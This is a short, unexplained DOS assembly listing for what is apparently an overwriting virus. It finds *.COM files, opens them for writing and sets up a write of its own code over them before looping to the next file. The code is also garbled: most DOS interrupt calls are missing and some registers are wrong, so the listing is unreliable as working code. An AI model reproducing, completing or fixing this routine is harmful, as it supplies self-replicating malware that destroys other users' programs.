Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ax,3d02h
Mov Dx,9eh
Mov bh,40h
Mov Cl,Length
Lea Dx,Main
Xchg Ax,Bx
Mov Ah,3eh
Mov Ah,4fh
Jmp On2
On1: Ret
FileSpec Db '*.COM',0
Length Equ $-Main
